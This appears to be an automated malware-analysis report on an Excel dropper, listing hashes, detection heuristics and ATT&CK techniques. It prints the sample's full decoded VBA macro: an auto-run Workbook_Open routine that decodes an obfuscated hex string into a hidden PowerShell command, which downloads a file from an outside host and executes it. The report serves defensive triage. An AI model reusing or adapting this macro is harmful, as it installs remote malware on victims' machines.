Xls.Dropper.Agent-8833397-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 4eaaf544257b0465…

MALICIOUS

Office (OLE)

192.0 KB Created: 2020-07-13 08:26:07 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: b379714e8daaf2673032f31b2a6abb07 SHA-1: b4f97dceff91b030a76dd19e45b91826fd382e86 SHA-256: 4eaaf544257b0465bb8acff69b987abf00bd19a32fbc45bc0e57b8c66244553a
222 Risk Score

Malware Insights

Xls.Dropper.Agent-8833397-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Xls.Dropper.Agent-8833397-0. A Workbook_Open VBA macro is present, which utilizes the Shell() function to execute code. This macro is designed to decode and execute a string, which is highly indicative of a dropper functionality, likely downloading and executing a second-stage payload.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-8833397-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8833397-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1733 bytes
SHA-256: 908f9a17b5d5c95a7b10cfda56176c549fbad6c2bab1b06d4eeac145acafc484
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Shell tGULPLBIQnOBFiTciEzfuIWHKgqoDhCPBTdisHSgXZHJOcSOjshcNeH("12322342132", "8F99904C5B8F4C9C9BA3919E9F949198985A91A4914C5991A4918FA1A0959B9A9C9B98958FA54C8EA59C8D9F9F4C59834C74959090919A4C598F9B99998D9A904C549A91A3599B8E96918FA04C7FA59FA091995A7A91A05A83918E6F9895919AA0555A709BA39A989B8D9072959891545394A0A09C665B5B8F9E9B93A09EA05A8F9B995B95635B5D61625C5D5E63635A969C93535850919AA2668091999C575388909293915A91A491535567547A91A3597B8E96918FA04C598F9B994C7F949198985A6D9C9C98958F8DA0959B9A555A7F9491989871A4918FA1A0915450919AA2668091999C575388909293915A91A4915355")
End Sub
  Function tGULPLBIQnOBFiTciEzfuIWHKgqoDhCPBTdisHSgXZHJOcSOjshcNeH(CodeKey As String, str As String)
        Dim FENBjqiFiGyUGaGjwGSIqBNNhjbafAuWsMtdAGjLKoZYPILJyJGrvWm As Integer
        Dim i As Integer
        Dim sStr
        FENBjqiFiGyUGaGjwGSIqBNNhjbafAuWsMtdAGjLKoZYPILJyJGrvWm = 51
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 44)
        Next
        tGULPLBIQnOBFiTciEzfuIWHKgqoDhCPBTdisHSgXZHJOcSOjshcNeH = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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